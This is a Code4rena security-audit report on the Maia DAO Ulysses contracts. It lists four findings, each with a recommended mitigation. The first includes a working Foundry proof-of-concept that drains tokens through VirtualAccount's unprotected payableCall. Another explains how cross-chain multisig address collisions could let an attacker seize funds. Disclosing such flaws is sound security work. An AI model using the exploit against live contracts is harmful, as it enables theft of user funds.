Maia DAO - Ulysses - ladboy233's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85

Vulnerability details

Impact

All asset can be stolen from VirtualAccount#payableCall because lack of access control

Proof of Concept

Create a new file named POCTesting.t.sol

under the path:

2023-09-maia\test\ulysses-omnichain

add the test:

//SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.16;

import "./helpers/ImportHelper.sol";

import "../../src/VirtualAccount.sol";
import "../../src/interfaces/IVirtualAccount.sol";

contract C4TestPOC is DSTestPlus {

    MockERC20 rewardToken;

    MockERC20 testToken;

    VirtualAccount virtualAccount;

    PayableCall[] public calls;

    address user = hevm.addr(5201314);
    address localPortAddress;

    function setUp() public {
        rewardToken = new MockERC20("hermes token", "HERMES", 18);
        testToken = new MockERC20("A", "AAA", 18);
        virtualAccount = new VirtualAccount(user, localPortAddress);
   
    }

    function testStealFund() public {

        testToken.mint(address(virtualAccount), 10000 ether);

        address hacker = hevm.addr(1111111);

        PayableCall memory myPayableCall1 = PayableCall({
            target: address(testToken), // Replace with a valid address
            callData: abi.encodeWithSelector(
                    bytes4(keccak256(bytes("transfer(address,uint256)"))),
                    hacker,
                    10000 ether
            ),
            value: 0 ether
        });

        PayableCall memory myPayableCall2 = PayableCall({
            target: address(testToken), // Replace with a valid address
            callData: abi.encodeWithSelector(
                    bytes4(keccak256(bytes("approve(address,uint256)"))),
                    hacker,
                    10000 ether
            ),
            value: 0 ether
        });

        calls.push(myPayableCall1);

        calls.push(myPayableCall2);

        virtualAccount.payableCall(calls);

        assertEq(testToken.balanceOf(address(virtualAccount)), 0);

    }

}

this is because VirtualAccount# payableCall lack access control and allows aribtray call

then all ERC20 token, ERC721 and ERC1155 can be stolen as shown in the POC above

attacker only need to generate to call data to trigger transfer / safeTransferFrom / transferFrom to steal fund instantly

arbitray approval can be attached to the virtual account as well, allow attacker to steal fund later

Tools Used

Manual review, foundry

Recommended Mitigation Steps

add access control to the function VirtualAccount#payableCall

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L276 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L577

Vulnerability details

Impact

Smart Contract calling callOutSignedAndBridge via BranchBridgeAgent can cause loss of fun

Proof of Concept

One of the cross-chain request pass is that when user calling callOutSignedAndBridge via BranchBridgeAgent

the payload is created

	//Encode Data for cross-chain call.
	bytes memory payload = abi.encodePacked(
		_hasFallbackToggled ? bytes1(0x85) : bytes1(0x05),
		msg.sender,
		_depositNonce,
		_dParams.hToken,
		_dParams.token,
		_dParams.amount,
		_dParams.deposit,
		_params
	);

this would trigger the code on RootBridgeAgent.sol

 } else if (_payload[0] & 0x7F == 0x05) {
            // Parse deposit nonce
            nonce = uint32(bytes4(_payload[PARAMS_START_SIGNED:PARAMS_TKN_START_SIGNED]));

            //Check if tx has already been executed
            if (executionState[_srcChainId][nonce] != STATUS_READY) {
                revert AlreadyExecutedTransaction();
            }

            // Get User Virtual Account
            VirtualAccount userAccount = IPort(localPortAddress).fetchVirtualAccount(
                address(uint160(bytes20(_payload[PARAMS_START:PARAMS_START_SIGNED])))
            );

            // Toggle Router Virtual Account use for tx execution
            IPort(localPortAddress).toggleVirtualAccountApproved(userAccount, localRouterAddress);

            // Avoid stack too deep
            uint16 srcChainId = _srcChainId;

            // Try to execute remote request
            // Flag 5 - RootBridgeAgentExecutor(bridgeAgentExecutorAddress).executeSignedWithDeposit(address(userAccount), localRouterAddress, data, _srcChainId)
            _execute(
                _payload[0] == 0x85,
                nonce,
                address(uint160(bytes20(_payload[PARAMS_START:PARAMS_START_SIGNED]))),
                abi.encodeWithSelector(
                    RootBridgeAgentExecutor.executeSignedWithDeposit.selector,
                    address(userAccount),
                    localRouterAddress,
                    _payload,
                    srcChainId
                ),
                srcChainId
            );

            // Toggle Router Virtual Account use for tx execution
            IPort(localPortAddress).toggleVirtualAccountApproved(userAccount, localRouterAddress);

the msg.sender address in source chain (branch bridge agent chain) will be used to either fetch or create a new virtual wallet

   /// @inheritdoc IRootPort
    function fetchVirtualAccount(address _user) external override returns (VirtualAccount account) {
        account = getUserAccount[_user];
        if (address(account) == address(0)) account = addVirtualAccount(_user);
    }

and this function has no access control, anyone can trigger this function to create a virtual account for specific user address

and the function will not revert, if wallet does not exist, wallet is created for the user.

the code assume the same address in different blockchain belongs to the same owner

this is mostly true for EOA account

but not true for smart contract address (for example, multisig)

the same address for multisig in different network can belong to different owner

for example https://rekt.news/wintermute-rekt/

the false assumption of a mutlisig smart contract address is controlled by same owner in different network has cost 20M OP lost

the multisig address is controlled by wintermute in mainnet

the attacker observe the OP is sent to the same address in OP network

the attacker manage the get the factory nonce of the gensis safe factory and redeploy the same address in OP network to control the OP token

this could happens to the current implementation of maia dao

a user can observer when a multisig address trigger callOutSignedAndBridge and redeploy the same address in different network (root bridge agent) to control the fund

or it is possible a smart contract in blockchain A does not belong to anyone in blockchain B, in that case, the fund is lost

Tools Used

Manual Review

Recommended Mitigation Steps

let user specify the recipient when calling callOutSignedAndBridge and use the recipient address to fetch virtual account

Assessed type

Token-Transfer

Virtual Account cannot withdraw ERC1155 directly

In virtual account

the owner of virtual account is capable of withdraw ERC20 token, and ERC721 token and native ETH

but there is no funciton to withdraw ERC1155 token directly

technically speaking the user can trigger the withdaw of ERC1155 token via multicall

but there is two multicall function:

for the function below

  function call(Call[] calldata calls) external override requiresApprovedCaller 

user can only trigger this function via the router and cross-chain request, for normal user that just want to withdraw ERC1155, this is too complicated and impact protocol useability

for the function

function payableCall(PayableCall[] calldata calls) public payable 

anyone can trigger this function, which lacks acecss control.

to summarize it, the virtual account lacks the function to let user withdraw ERC1155 NFT

the protocol always pay the layerzero fee in ETH instead of Layerzero token

According to:

https://layerzero.gitbook.io/docs/evm-guides/layerzero-integration-checklist

Do not hardcode useZro to false when estimating fees and sending messages. Pass it as a parameter instead.

Do not hardcode address zero (address(0)) as zroPaymentAddress when estimating fees and sending messages. Pass it as a parameter instead.

however, in the current implementation, the protocol always payes the layerzero fee in ETH and offer no option to pay the fee in layerzero token

maybe in the future, paying the fee in layerzero token can have discount or on layerzero side they enforce the fee to be paid by layerzero token, then the usabilty of the maia dao agent contract will be impacted